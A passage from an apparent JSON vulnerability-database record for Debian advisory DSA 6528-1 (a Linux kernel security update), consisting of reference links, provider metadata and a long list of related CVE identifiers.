CVE-2026-90314 CVE-2026-90316\nCVE-2026-90318 CVE-2026-90319 CVE-2026-90322 CVE-2026-90325\nCVE-2026-90327 CVE-2026-90329 CVE-2026-90334 CVE-2026-90341\nCVE-2026-90344 CVE-2026-90348 CVE-2026-90352 CVE-2026-90353\nCVE-2026-90354 CVE-2026-90357 CVE-2026-90358 CVE-2026-90360\nCVE-2026-90361 CVE-2026-90362 CVE-2026-90364 CVE-2026-90366\nCVE-2026-90368 CVE-2026-90370 CVE-2026-90372 CVE-2026-90373\nCVE-2026-90374 CVE-2026-90375 CVE-2026-90378 CVE-2026-90380\nCVE-2026-90382 CVE-2026-90383 CVE-2026-90385 CVE-2026-90386\nCVE-2026-90387 CVE-2026-90388 CVE-2026-90389 CVE-2026-90390\nCVE-2026-90391 CVE-2026-90392 CVE-2026-90393 CVE-2026-90394\nCVE-2026-90395 CVE"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T13:35:54Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/3277f17e064bedcd5c7a91b764a33ebbc6fc1b6545056adc73d4676ff2416785"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/WVR7HR2MXQLVETHFODLHXKCJFW6XGL26/"
},
{
"url": "https://security-tracker.debian.org/tracker/linux"
},
{
"url": "https://www.debian.org/security/"
},
{
"url": "https://www.debian.org/security/faq"
}
],
"source": {
"defect": [
"E1xBUSo-0000000F7rk-1P79%40seger.debian.org"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [SECURITY] [DSA 6528-1] linux security update",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2024-52560",
"type": "related"
},
{
"destId": "CVE-2024-58094",
"type": "related"
},
{
"destId": "CVE-2024-58095",
"type": "related"
},
{
"destId": "CVE-2025-21817",
"type": "related"
},
{
"destId": "CVE-2025-22104",
"type": "related"
},
{
"destId": "CVE-2025-22108",
"type": "related"
},
{
"destId": "CVE-2025-22127",
"type": "related"
},
{
"destId": "CVE-2025-38203",
"type": "related"
},
{
"destId": "CVE-2025-38205",
"type": "related"
},
{
"destId": "CVE-2025-38206",
"type": "related"
},
{
"destId": "CVE-2025-38237",
"type": "related"
},
{
"destId": "CVE-2025-38621",
"type": "related"
},
{
"destId": "CVE-2025-39833",
"type": "related"
},
{
"destId": "CVE-2025-39925",
"type": "related"
},
{
"destId": "CVE-2025-40064",
"type": "related"
},
{
"destId": "CVE-2025-40102",
"type": "related"
},
{
"destId": "CVE-2025-40139",
"type": "related"
},
{
"destId": "CVE-2025-40168",
"type": "related"
},
{
"destId": "CVE-2026-100070",
"type": "related"
},
{
"destId": "CVE-2026-100071",
"type": "related"
},
{
"destId": "CVE-2026-100075",
"type": "related"
},
{
"destId": "CVE-2026-100078",
"type": "related"
},
{
"destId": "CVE-2026-100079",
"type": "related"
},
{
"destId": "CVE-2026-23137",
"type": "related"
},
{
"destId": "CVE-2026-43198",
"type": "related"
},
{
"destId": "CVE-2026-43344",
"type": "related"
},
{
"destId": "CVE-2026-45963",
"type": "related"
},
{
"destId": "CVE-2026-52944",
"type": "related"
},
{
"destId": "CVE-2026-53010",
"type": "related"
},
{
"destId": "CVE-2026-53089",
"type": "related"
},
{
"destId": "CVE-2026-53102",
"type": "related"
},
{
"destId": "CVE-2026-53113",
"type": "related"
},
{
"destId": "CVE-2026-53250",
"type": "related"
},
{
"destId": "CVE-2026-53313",
"type": "related"
},
{
"destId": "CVE-2026-64058",
"type": "related"
},
{
"destId": "CVE-2026-64070",
"type": "related"
},
{
"destId": "CVE-2026-64082",
"type": "related"
},
{
"destId": "CVE-2026-64210",
"type": "related"
},
{
"destId": "CVE-2026-68286",
"type": "related"
},
{
"destId": "CVE-2026-68287",
"type": "related"
},
{
"destId": "CVE-2026-68288",
"type": "related"
},
{
"destId": "CVE-2026-68289",
"type": "related"
},
{
"destId": "CVE-2026-68303",
"type": "related"
},
{
"destId": "CVE-2026-68337",
"type": "related"
},
{
"destId": "CVE-2026-72334",
"type": "related"
},
{
"destId": "CVE-2026-72402",
"type": "related"
},
{
"destId": "CVE-2026-72413",
"type": "related"
},
{
"destId": "CVE-2026-72438",
"type": "related"
},
{
"destId": "CVE-2026-72485",
"type": "related"
},
{
"destId": "CVE-2026-72496",
"type": "related"
},
{
"destId": "CVE-2026-74258",
"type": "related"
},
{
"destId": "CVE-2026-74268",
"type": "related"
},
{
"destId": "CVE-2026-74289",
"type": "related"
},
{
"destId": "CVE-2026-74291",
"type": "related"
},
{
"destId": "CVE-2026-74294",
"type": "related"
},
{
"destId": "CVE-2026-74334",
"type": "related"
},
{
"destId": "CVE-2026-74496",
"type": "related"
},
{
"destId": "CVE-2026-74521",
"type": "related"
},
{
"destId": "CVE-2026-74735",
"type": "related"
},
{
"destId": "CVE-2026-74753",
"type": "related"
},
{
"destId": "CVE-2026-80521",
"type": "related"
},
{
"destId": "CVE-2026-80671",
"type": "related"
},
{
"destId": "CVE-2026-80755",
"type": "related"
},
{
"destId": "CVE-2026-80762",
"type": "related"
},
{
"destId": "CVE-2026-80766",
"type": "related"
},
{
"destId": "CVE-2026-80768",
"type": "related"
},
{
"destId": "CVE-2026-80774",
"type": "related"
},
{
"destId": "CVE-2026-80780",
"type": "related"
},
{
"destId": "CVE-2026-80783",
"type": "related"
},
{
"destId": "CVE-2026-80796",
"type": "related"
},
{
"destId": "CVE-2026-80806",
"type": "related"
},
{
"destId": "CVE-2026-80807",
"type": "related"
},
{
"destId": "CVE-2026-80824",
"type": "related"
},
{
"destId": "CVE-2026-80825",
"type": "related"
},
{
"destId": "CVE-2026-80826",
"type": "related"
},
{
"destId": "CVE-2026-80827",
"type": "related"
},
{
"destId": "CVE-2026-80828",
"type": "related"
},
{
"destId": "CVE-2026-80829",
"type": "related"
},
{
"destId": "CVE-2026-80830",
"type": "related"
},
{
"destId": "CVE-2026-80831",
"type": "related"
},
{
"destId": "CVE-2026-80832",
"type": "related"
},
{
"destId": "CVE-2026-80833",
"type": "related"
},
{
"destId": "CVE-2026-80834",
"type": "related"
},
{
"destId": "CVE-2026-80835",
"type": "related"
},
{
"destId": "CVE-2026-80836",
"type": "related"
},
{
"destId": "CVE-2026-80837",
"type": "related"
},
{
"destId": "CVE-2026-80838",
"type": "related"
},
{
"destId": "CVE-2026-80839",
"type": "related"
},
{
"destId": "CVE-2026-80840",
"type": "related"
},
{
"destId": "CVE-2026-80841",
"type": "related"
},
{
"destId": "CVE-2026-80842",
"type": "related"
},
{
"destId": "CVE-2026-80843",
"type": "related"
},
{
"destId": "CVE-2026-80844",
"type": "related"
},
{
"destId": "CVE-2026-80845",
"type": "related"
},
{
"destId": "CVE-2026-80846",
"type": "related"
},
{
"destId": "CVE-2026-80847",
"type": "related"
},
{
"destId": "CVE-2026-80848",
"type": "related"
},
{
"destId": "CVE-2026-80849",
"type": "related"
},
{
"destId": "CVE-2026-80850",
"type": "related"
},
{
"destId": "CVE-2026-80851",
"type": "related"
},
{
"destId": "CVE-2026-80852",
"type": "related"
},
{
"destId": "CVE-2026-80854",
"type": "related"
},
{
"destId": "CVE-2026-80855",
"type": "related"
},
{
"destId": "CVE-2026-80856",
"type": "related"
},
{
"destId": "CVE-2026-80860",
"type": "related"
},
{
"destId": "CVE-2026-80861",
"type": "related"
},
{
"destId": "CVE-2026-80862",
"type": "related"
},
{
"destId": "CVE-2026-80863",
"type": "related"
},
{
"destId": "CVE-2026-80864",
"type": "related"
},
{
"destId": "CVE-2026-80878",
"type": "related"
},
{
"destId": "CVE-2026-80914",
"type": "related"
},
{
"destId": "CVE-2026-80921",
"type": "related"
},
{
"destId": "CVE-2026-80922",
"type": "related"
},
{
"destId": "CVE-2026-80923",
"type": "related"
},
{
"destId": "CVE-2026-80925",
"type": "related"
},
{
"destId": "CVE-2026-80926",
"type": "related"
},
{
"destId": "CVE-2026-80928",
"type": "related"
},
{
"destId": "CVE-2026-80930",
"type": "related"
},
{
"destId": "CVE-2026-80931",
"type": "related"
},
{
"destId": "CVE-2026-80932",
"type": "related"
},
{
"destId": "CVE-2026-80933",
"type": "related"
},
{
"destId": "CVE-2026-80938",
"type": "related"
},
{
"destId": "CVE-2026-80940",
"type": "related"
},
{
"destId": "CVE-2026-80941",
"type": "related"
},
{
"destId": "CVE-2026-80942",
"type": "related"
},
{
"destId": "CVE-2026-80943",
"type": "related"
},
{
"destId": "CVE-2026-80944",
"type": "related"
},
{
"destId": "CVE-2026-80945",
"type": "related"
},
{
"destId": "CVE-2026-80947",
"type": "related"
},
{
"destId": "CVE-2026-80949",
"type": "related"
},
{
"destId": "CVE-2026-80951",
"type": "related"
},
{
"destId": "CVE-2026-80952",
"type": "related"
},
{
"destId": "CVE-2026-80963",
"type": "related"
},
{
"destId": "CVE-2026-80964",
"type": "related"
},
{
"destId": "CVE-2026-80965",
"type": "related"
},
{
"destId": "CVE-2026-80966",
"type": "related"
},
{
"destId": "CVE-2026-80967",
"type": "related"
},
{
"destId": "CVE-2026-80968",
"type": "related"
},
{
"destId": "CVE-2026-80969",
"type": "related"
},
{
"destId": "CVE-2026-80971",
"type": "related"
},
{
"destId": "CVE-2026-80972",
"type": "related"
},
{
"destId": "CVE-2026-80973",
"type": "related"
},
{
"destId": "CVE-2026-80974",
"type": "related"
},
{
"destId": "CVE-2026-80976",
"type": "related"
},
{
"destId": "CVE-2026-80977",
"type": "related"
},
{
"destId": "CVE-2026-80978",
"type": "related"
},
{
"destId": "CVE-2026-80979",
"type": "related"
},
{
"destId": "CVE-2026-80982",
"type": "related"
},
{
"destId": "CVE-2026-80983",
"type": "related"
},
{
"destId": "CVE-2026-80984",
"type": "related"
},
{
"destId": "CVE-2026-80987",
"type": "related"
},
{
"destId": "CVE-2026-80988",
"type": "related"
},
{
"destId": "CVE-2026-80989",
"type": "related"
},
{
"destId": "CVE-2026-80990",
"type": "related"
},
{
"destId": "CVE-2026-80991",
"type": "related"
},
{
"destId": "CVE-2026-80992",
"type": "related"
},
{
"destId": "CVE-2026-80994",
"type": "related"
},
{
"destId": "CVE-2026-80996",
"type": "related"
},
{
"destId": "CVE-2026-80997",
"type": "related"
},
{
"destId": "CVE-2026-80999",
"type": "related"
},
{
"destId": "CVE-2026-81000",
"type": "related"
},
{
"destId": "CVE-2026-81001",
"type": "related"
},
{
"destId": "CVE-2026-81002",
"type": "related"
},
{
"destId": "CVE-2026-81003",
"type": "related"
},
{
"destId": "CVE-2026-81005",
"type": "related"
},
{
"destId": "CVE-2026-81007",
"type": "related"
},
{
"destId": "CVE-2026-81008",
"type": "related"
},
{
"destId": "CVE-2026-81011",
"type": "related"
},
{
"destId": "CVE-2026-81012",
"type": "related"
},
{
"destId": "CVE-2026-81013",
"type": "related"
},
{
"destId": "CVE-2026-81014",
"type": "related"
},
{
"destId": "CVE-2026-81017",
"type": "related"
},
{
"destId": "CVE-2026-89438",
"type": "related"
},
{
"destId": "CVE-2026-89439",
"type": "related"
},
{
"destId": "CVE-2026-89440",
"type": "related"
},
{
"destId": "CVE-2026-89442",
"type": "related"
},
{
"destId": "CVE-2026-89443",
"type": "related"
},
{
"destId": "CVE-2026-89444",
"type": "related"
},
{
"destId": "CVE-2026-89448",
"type": "related"
},
{
"destId": "CVE-2026-89451",
"type": "related"
},
{
"destId": "CVE-2026-89453",
"type": "related"
},
{
"destId": "CVE-2026-89454",
"type": "related"
},
{
"destId": "CVE-2026-89455",
"type": "related"
},
{
"destId": "CVE-2026-89456",
"type": "related"
},
{
"destId": "CVE-2026-89457",
"type": "related"
},
{
"destId": "CVE-2026-89458",
"type": "related"
},
{
"destId": "CVE-2026-89460",
"type": "related"
},
{
"destId": "CVE-2026-89461",
"type": "related"
},
{
"destId": "CVE-2026-89462",
"type": "related"
},
{
"destId": "CVE-2026-89463",
"type": "related"
},
{
"destId": "CVE-2026-89464",
"type": "related"
},
{
"destId": "CVE-2026-89465",
"type": "related"
},
{
"destId": "CVE-2026-89466",
"type": "related"
},
{
"destId": "CVE-2026-89468",
"type": "related"
},
{
"destId": "CVE-2026-89469",
"type": "related"
},
{
"destId": "CVE-2026-89470",
"type": "related"
},
{
"destId": "CVE-2026-89471",
"type": "related"
},
{
"destId": "CVE-2026-89472",
"type": "related"
},
{
"destId": "CVE-2026-89473",
"type": "related"
},
{
"destId": "CVE-2026-89474",
"type": "related"
},
{
"destId": "CVE-2026-89475",
"type": "related"
},
{
"destId": "CVE-2026-89476",
"type": "related"
},
{
"destId": "CVE-2026-89477",
"type": "related"
},
{
"destId": "CVE-2026-89478",
"type": "related"
},
{
"destId": "CVE-2026-89479",
"type": "related"
},
{
"destId": "CVE-2026-89480",
"type": "related"
},
{
"destId": "CVE-2026-89481",
"type": "related"
},
{
"destId": "CVE-2026-89482",
"type": "related"
},
{
"destId": "CVE-2026-89483",
"type": "related"
},
{
"destId": "CVE-2026-89484",
"type": "related"
},
{
"destId": "CVE-2026-89485",
"type": "related"
},
{
"destId": "CVE-2026-89487",
"type": "related"
},
{
"destId": "CVE-2026-89488",
"type": "related"
},
{
"destId": "CVE-2026-89489",
"type": "related"
},
{
"destId": "CVE-2026-89490",
"type": "related"
},
{
"destId": "CVE-2026-89491",
"type": "related"
},
{
"destId": "CVE-2026-89492",
"type": "related"
},
{
"destId": "CVE-2026-89493",
"type": "related"
},
{
"destId": "CVE-2026-89494",
"type": "related"
},
{
"destId": "CVE-2026-89495",
"type": "related"
},
{
"destId": "CVE-2026-89496",
"type": "related"
},
{
"destId": "CVE-2026-89497",
"type": "related"
},
{
"destId": "CVE-2026-89498",
"type": "related"
},
{
"destId": "CVE-2026-89501",
"type": "related"
},
{
"destId": "CVE-2026-89502",
"type": "related"
},
{
"destId": "CVE-2026-89504",
"type": "related"
},
{
"destId": "CVE-2026-89508",
"type": "related"
},
{
"destId": "CVE-2026-89510",
"type": "related"
},
{
"destId": "CVE-2026-89511",
"type": "related"
},
{
"destId": "CVE-2026-89512",
"type": "related"
},
{
"destId": "CVE-2026-89515",
"type": "related"
},
{
"destId": "CVE-2026-89524",
"type": "related"
},
{
"destId": "CVE-2026-89525",
"type": "related"
},
{
"destId": "CVE-2026-89526",
"type": "related"
},
{
"destId": "CVE-2026-89530",
"type": "related"
},
{
"destId": "CVE-2026-89531",
"type": "related"
},
{
"destId": "CVE-2026-89532",
"type": "related"
},
{
"destId": "CVE-2026-89533",
"type": "related"
},
{
"destId": "CVE-2026-89535",
"type": "related"
},
{
"destId": "CVE-2026-89536",
"type": "related"
},
{
"destId": "CVE-2026-89538",
"type": "related"
},
{
"destId": "CVE-2026-89539",
"type": "related"
},
{
"destId": "CVE-2026-89540",
"type": "related"
},
{
"destId": "CVE-2026-89541",
"type": "related"
},
{
"destId": "CVE-2026-89542",
"type": "related"
},
{
"destId": "CVE-2026-89543",
"type": "related"
},
{
"destId": "CVE-2026-89544",
"type": "related"
},
{
"destId": "CVE-2026-89545",
"type": "related"
},
{
"destId": "CVE-2026-89547",
"type": "related"
},
{
"destId": "CVE-2026-89548",
"type": "related"
},
{
"destId": "CVE-2026-89549",
"type": "related"
},
{
"destId": "CVE-2026-89550",
"type": "related"
},
{
"destId": "CVE-2026-89551",
"type": "related"
},
{
"destId": "CVE-2026-89552",
"type": "related"
},
{
"destId": "CVE-2026-89553",
"type": "related"
},
{
"destId": "CVE-2026-89554",
"type": "related"
},
{
"destId": "CVE-2026-89555",
"type": "related"
},
{
"destId": "CVE-2026-89557",
"type": "related"
},
{
"destId": "CVE-2026-89558",
"type": "related"
},
{
"destId": "CVE-2026-89559",
"type": "related"
},
{
"destId": "CVE-2026-89560",
"type": "related"
},
{
"destId": "CVE-2026-89561",
"type": "related"
},
{
"destId": "CVE-2026-89562",
"type": "related"
},
{
"destId": "CVE-2026-89563",
"type": "related"
},
{
"destId": "CVE-2026-89564",
"type": "related"
},
{
"destId": "CVE-2026-89565",
"type": "related"
},
{
"destId": "CVE-2026-89566",
"type": "related"
},
{
"destId": "CVE-2026-89567",
"type": "related"
},
{
"destId": "CVE-2026-89569",
"type": "related"
},
{
"destId": "CVE-2026-89572",
"type": "related"
},
{
"destId": "CVE-2026-89573",
"type": "related"
},
{
"destId": "CVE-2026-89574",
"type": "related"
},
{
"destId": "CVE-2026-89575",
"type": "related"
},
{
"destId": "CVE-2026-89576",
"type": "related"
},
{
"destId": "CVE-2026-89579",
"type": "related"
},
{
"destId": "CVE-2026-89580",
"type": "related"
},
{
"destId": "CVE-2026-89581",
"type": "related"
},
{
"destId": "CVE-2026-89582",
"type": "related"
},
{
"destId": "CVE-2026-89583",
"type": "related"
},
{
"destId": "CVE-2026-89585",
"type": "related"
},
{
"destId": "CVE-2026-89586",
"type": "related"
},
{
"destId": "CVE-2026-89587",
"type": "related"
},
{
"destId": "CVE-2026-89588",
"type": "related"
},
{
"destId": "CVE-2026-89589",
"type": "related"
},
{
"destId": "CVE-2026-89593",
"type": "related"
},
{
"destId": "CVE-2026-89594",
"type": "related"
},
{
"destId": "CVE-2026-89595",
"type": "related"
},
{
"destId": "CVE-2026-89596",
"type": "related"
},
{
"destId": "CVE-2026-89597",
"type": "related"
},
{
"destId": "CVE-2026-89598",
"type": "related"
},
{
"destId": "CVE-2026-89599",
"type": "related"
},
{
"destId": "CVE-2026-89602",
"type": "related"
},
{
"destId": "CVE-2026-89603",
"type": "related"
},
{
"destId": "CVE-2026-89604",
"type": "related"
},
{
"destId": "CVE-2026-89605",
"type": "related"
},
{
"destId": "CVE-2026-89606",
"type": "related"
},
{
"destId": "CVE-2026-89607",
"type": "related"
},
{
"destId": "CVE-2026-89608",
"type": "related"
},
{
"destId": "CVE-2026-89609",
"type": "related"
},
{
"destId": "CVE-2026-89615",
"type": "related"
},
{
"destId": "CVE-2026-89616",
"type": "related"
},
{
"destId": "CVE-2026-89617",
"type": "related"
},
{
"destId": "CVE-2026-89618",
"type": "related"
},
{
"destId": "CVE-2026-89621",
"type": "related"
},
{
"destId": "CVE-2026-89622",
"type": "related"
},
{
"destId": "CVE-2026-89624",
"type": "related"
},
{
"destId": "CVE-2026-89625",
"type": "related"
},
{
"destId": "CVE-2026-89626",
"type": "related"
},
{
"destId": "CVE-2026-89627",
"type": "related"
},
{
"destId": "CVE-2026-89628",
"type": "related"
},
{
"destId": "CVE-2026-89634",
"type": "related"
},
{
"destId": "CVE-2026-89636",
"type": "related"
},
{
"destId": "CVE-2026-89640",
"type": "related"
},
{
"destId": "CVE-2026-89643",
"type": "related"
},
{
"destId": "CVE-2026-89644",
"type": "related"
},
{
"destId": "CVE-2026-89645",
"type": "related"
},
{
"destId": "CVE-2026-89647",
"type": "related"
},
{
"destId": "CVE-2026-89649",
"type": "related"
},
{
"destId": "CVE-2026-89650",
"type": "related"
},
{
"destId": "CVE-2026-89651",
"type": "related"
},
{
"destId": "CVE-2026-89652",
"type": "related"
},
{
"destId": "CVE-2026-89653",
"type": "related"
},
{
"destId": "CVE-2026-89655",
"type": "related"
},
{
"destId": "CVE-2026-89656",
"type": "related"
},
{
"destId": "CVE-2026-89657",
"type": "related"
},
{
"destId": "CVE-2026-89658",
"type": "related"
},
{
"destId": "CVE-2026-89659",
"type": "related"
},
{
"destId": "CVE-2026-89660",
"type": "related"
},
{
"destId": "CVE-2026-89662",
"type": "related"
},
{
"destId": "CVE-2026-89663",
"type": "related"
},
{
"destId": "CVE-2026-89665",
"type": "related"
},
{
"destId": "CVE-2026-89666",
"type": "related"
},
{
"destId": "CVE-2026-89667",
"type": "related"
},
{
"destId": "CVE-2026-89669",
"type": "related"
},
{
"destId": "CVE-2026-89671",
"type": "related"
},
{
"destId": "CVE-2026-89672",
"type": "related"
},
{
"destId": "CVE-2026-89674",
"type": "related"
},
{
"destId": "CVE-2026-89676",
"type": "related"
},
{
"destId": "CVE-2026-89680",
"type": "related"
},
{
"destId": "CVE-2026-89683",
"type": "related"
},
{
"destId": "CVE-2026-89684",
"type": "related"
},
{
"destId": "CVE-2026-89685",
"type": "related"
},
{
"destId": "CVE-2026-89686",
"type": "related"
},
{
"destId": "CVE-2026-89688",
"type": "related"
},
{
"destId": "CVE-2026-89690",
"type": "related"
},
{
"destId": "CVE-2026-89691",
"type": "related"
},
{
"destId": "CVE-2026-89693",
"type": "related"
},
{
"destId": "CVE-2026-89694",
"type": "related"
},
{
"destId": "CVE-2026-89696",
"type": "related"
},
{
"destId": "CVE-2026-89697",
"type": "related"
},
{
"destId": "CVE-2026-89698",
"type": "related"
},
{
"destId": "CVE-2026-89699",
"type": "related"
},
{
"destId": "CVE-2026-89700",
"type": "related"
},
{
"destId": "CVE-2026-89702",
"type": "related"
},
{
"destId": "CVE-2026-89703",
"type": "related"
},
{
"destId": "CVE-2026-89704",
"type": "related"
},
{
"destId": "CVE-2026-89706",
"type": "related"
},
{
"destId": "CVE-2026-89707",
"type": "related"
},
{
"destId": "CVE-2026-89708",
"type": "related"
},
{
"destId": "CVE-2026-89710",
"type": "related"
},
{
"destId": "CVE-2026-89711",
"type": "related"
},
{
"destId": "CVE-2026-89712",
"type": "related"
},
{
"destId": "CVE-2026-89713",
"type": "related"
},
{
"destId": "CVE-2026-89717",
"type": "related"
},
{
"destId": "CVE-2026-89718",
"type": "related"
},
{
"destId": "CVE-2026-89719",
"type": "related"
},
{
"destId": "CVE-2026-89720",
"type": "related"
},
{
"destId": "CVE-2026-89723",
"type": "related"
},
{
"destId": "CVE-2026-89724",
"type": "related"
},
{
"destId": "CVE-2026-89725",
"type": "related"
},
{
"destId": "CVE-2026-89726",
"type": "related"
},
{
"destId": "CVE-2026-89729",
"type": "related"
},
{
"destId": "CVE-2026-89730",
"type": "related"
},
{
"destId": "CVE-2026-89731",
"type": "related"
},
{
"destId": "CVE-2026-89732",
"type": "related"
},
{
"destId": "CVE-2026-89733",
"type": "related"
},
{
"destId": "CVE-2026-89735",
"type": "related"
},
{
"destId": "CVE-2026-89736",
"type": "related"
},
{
"destId": "CVE-2026-89738",
"type": "related"
},
{
"destId": "CVE-2026-89740",
"type": "related"
},
{
"destId": "CVE-2026-89741",
"type": "related"
},
{
"destId": "CVE-2026-89742",
"type": "related"
},
{
"destId": "CVE-2026-89743",
"type": "related"
},
{
"destId": "CVE-2026-89744",
"type": "related"
},
{
"destId": "CVE-2026-89746",
"type": "related"
},
{
"destId": "CVE-2026-89747",
"type": "related"
},
{
"destId": "CVE-2026-89749",
"type": "related"
},
{
"destId": "CVE-2026-89750",
"type": "related"
},
{
"destId": "CVE-2026-89751",
"type": "related"
},
{
"destId": "CVE-2026-89752",
"type": "related"
},
{
"destId": "CVE-2026-89753",
"type": "related"
},
{
"destId": "CVE-2026-89755",
"type": "related"
},
{
"destId": "CVE-2026-89756",
"type": "related"
},
{
"destId": "CVE-2026-89759",
"type": "related"
},
{
"destId": "CVE-2026-89761",
"type": "related"
},
{
"destId": "CVE-2026-89762",
"type": "related"
},
{
"destId": "CVE-2026-89763",
"type": "related"
},
{
"destId": "CVE-2026-89765",
"type": "related"
},
{
"destId": "CVE-2026-89768",
"type": "related"
},
{
"destId": "CVE-2026-89771",
"type": "related"
},
{
"destId": "CVE-2026-89776",
"type": "related"
},
{
"destId": "CVE-2026-89777",
"type": "related"
},
{
"destId": "CVE-2026-89778",
"type": "related"
},
{
"destId": "CVE-2026-89779",
"type": "related"
},
{
"destId": "CVE-2026-89780",
"type": "related"
},
{
"destId": "CVE-2026-89781",
"type": "related"
},
{
"destId": "CVE-2026-89782",
"type": "related"
},
{
"destId": "CVE-2026-89783",
"type": "related"
},
{
"destId": "CVE-2026-89784",
"type": "related"
},
{
"destId": "CVE-2026-89785",
"type": "related"
},
{
"destId": "CVE-2026-89786",
"type": "related"
},
{
"destId": "CVE-2026-89787",
"type": "related"
},
{
"destId": "CVE-2026-89789",
"type": "related"
},
{
"destId": "CVE-2026-89792",
"type": "related"
},
{
"destId": "CVE-2026-89793",
"type": "related"
},
{
"destId": "CVE-2026-89794",
"type": "related"
},
{
"destId": "CVE-2026-89796",
"type": "related"
},
{
"destId": "CVE-2026-89798",
"type": "related"
},
{
"destId": "CVE-2026-89799",
"type": "related"
},
{
"destId": "CVE-2026-89800",
"type": "related"
},
{
"destId": "CVE-2026-89801",
"type": "related"
},
{
"destId": "CVE-2026-89802",
"type": "related"
},
{
"destId": "CVE-2026-89803",
"type": "related"
},
{
"destId": "CVE-2026-89807",
"type": "related"
},
{
"destId": "CVE-2026-89816",
"type": "related"
},
{
"destId": "CVE-2026-89817",
"type": "related"
},
{
"destId": "CVE-2026-89818",
"type": "related"
},
{
"destId": "CVE-2026-89819",
"type": "related"
},
{
"destId": "CVE-2026-89821",
"type": "related"
},
{
"destId": "CVE-2026-89822",
"type": "related"
},
{
"destId": "CVE-2026-89823",
"type": "related"
},
{
"destId": "CVE-2026-89824",
"type": "related"
},
{
"destId": "CVE-2026-89825",
"type": "related"
},
{
"destId": "CVE-2026-89830",
"type": "related"
},
{
"destId": "CVE-2026-89834",
"type": "related"
},
{
"destId": "CVE-2026-89835",
"type": "related"
},
{
"destId": "CVE-2026-89839",
"type": "related"
},
{
"destId": "CVE-2026-89842",
"type": "related"
},
{
"destId": "CVE-2026-89843",
"type": "related"
},
{
"destId": "CVE-2026-89844",
"type": "related"
},
{
"destId": "CVE-2026-89845",
"type": "related"
},
{
"destId": "CVE-2026-89846",
"type": "related"
},
{
"destId": "CVE-2026-89847",
"type": "related"
},
{
"destId": "CVE-2026-89848",
"type": "related"
},
{
"destId": "CVE-2026-89849",
"type": "related"
},
{
"destId": "CVE-2026-89850",
"type": "related"
},
{
"destId": "CVE-2026-89851",
"type": "related"
},
{
"destId": "CVE-2026-89852",
"type": "related"
},
{
"destId": "CVE-2026-89853",
"type": "related"
},
{
"destId": "CVE-2026-89854",
"type": "related"
},
{
"destId": "CVE-2026-89855",
"type": "related"
},
{
"destId": "CVE-2026-89856",
"type": "related"
},
{
"destId": "CVE-2026-89857",
"type": "related"
},
{
"destId": "CVE-2026-89858",
"type": "related"
},
{
"destId": "CVE-2026-89860",
"type": "related"
},
{
"destId": "CVE-2026-89861",
"type": "related"
},
{
"destId": "CVE-2026-89863",
"type": "related"
},
{
"destId": "CVE-2026-89864",
"type": "related"
},
{
"destId": "CVE-2026-89865",
"type": "related"
},
{
"destId": "CVE-2026-89870",
"type": "related"
},
{
"destId": "CVE-2026-89871",
"type": "related"
},
{
"destId": "CVE-2026-89872",
"type": "related"
},
{
"destId": "CVE-2026-89874",
"type": "related"
},
{
"destId": "CVE-2026-89876",
"type": "related"
},
{
"destId": "CVE-2026-89877",
"type": "related"
},
{
"destId": "CVE-2026-89878",
"type": "related"
},
{
"destId": "CVE-2026-89879",
"type": "related"
},
{
"destId": "CVE-2026-89880",
"type": "related"
},
{
"destId": "CVE-2026-89881",
"type": "related"
},
{
"destId": "CVE-2026-89883",
"type": "related"
},
{
"destId": "CVE-2026-89884",
"type": "related"
},
{
"destId": "CVE-2026-89885",
"type": "related"
},
{
"destId": "CVE-2026-89886",
"type": "related"
},
{
"destId": "CVE-2026-89887",
"type": "related"
},
{
"destId": "CVE-2026-89888",
"type": "related"
},
{
"destId": "CVE-2026-89890",
"type": "related"
},
{
"destId": "CVE-2026-89891",
"type": "related"
},
{
"destId": "CVE-2026-89892",
"type": "related"
},
{
"destId": "CVE-2026-89893",
"type": "related"
},
{
"destId": "CVE-2026-89894",
"type": "related"
},
{
"destId": "CVE-2026-89895",
"type": "related"
},
{
"destId": "CVE-2026-89896",
"type": "related"
},
{
"destId": "CVE-2026-89897",
"type": "related"
},
{
"destId": "CVE-2026-89898",
"type": "related"
},
{
"destId": "CVE-2026-89899",
"type": "related"
},
{
"destId": "CVE-2026-89900",
"type": "related"
},
{
"destId": "CVE-2026-89901",
"type": "related"
},
{
"destId": "CVE-2026-89902",
"type": "related"
},
{
"destId": "CVE-2026-89903",
"type": "related"
},
{
"destId": "CVE-2026-89904",
"type": "related"
},
{
"destId": "CVE-2026-89908",
"type": "related"
},
{
"destId": "CVE-2026-89909",
"type": "related"
},
{
"destId": "CVE-2026-89922",
"type": "related"
},
{
"destId": "CVE-2026-89923",
"type": "related"
},
{
"destId": "CVE-2026-89924",
"type": "related"
},
{
"destId": "CVE-2026-89925",
"type": "related"
},
{
"destId": "CVE-2026-89926",
"type": "related"
},
{
"destId": "CVE-2026-89927",
"type": "related"
},
{
"destId": "CVE-2026-89929",
"type": "related"
},
{
"destId": "CVE-2026-89930",
"type": "related"
},
{
"destId": "CVE-2026-89931",
"type": "related"
},
{
"destId": "CVE-2026-89932",
"type": "related"
},
{
"destId": "CVE-2026-89933",
"type": "related"
},
{
"destId": "CVE-2026-89934",
"type": "related"
},
{
"destId": "CVE-2026-89936",
"type": "related"
},
{
"destId": "CVE-2026-89937",
"type": "related"
},
{
"destId": "CVE-2026-89938",
"type": "related"
},
{
"destId": "CVE-2026-89939",
"type": "related"
},
{
"destId": "CVE-2026-89940",
"type": "related"
},
{
"destId": "CVE-2026-89941",
"type": "related"
},
{
"destId": "CVE-2026-89942",
"type": "related"
},
{
"destId": "CVE-2026-89943",
"type": "related"
},
{
"destId": "CVE-2026-89944",
"type": "related"
},
{
"destId": "CVE-2026-89945",
"type": "related"
},
{
"destId": "CVE-2026-89946",
"type": "related"
},
{
"destId": "CVE-2026-89947",
"type": "related"
},
{
"destId": "CVE-2026-89948",
"type": "related"
},
{
"destId": "CVE-2026-89949",
"type": "related"
},
{
"destId": "CVE-2026-89950",
"type": "related"
},
{
"destId": "CVE-2026-89951",
"type": "related"
},
{
"destId": "CVE-2026-89952",
"type": "related"
},
{
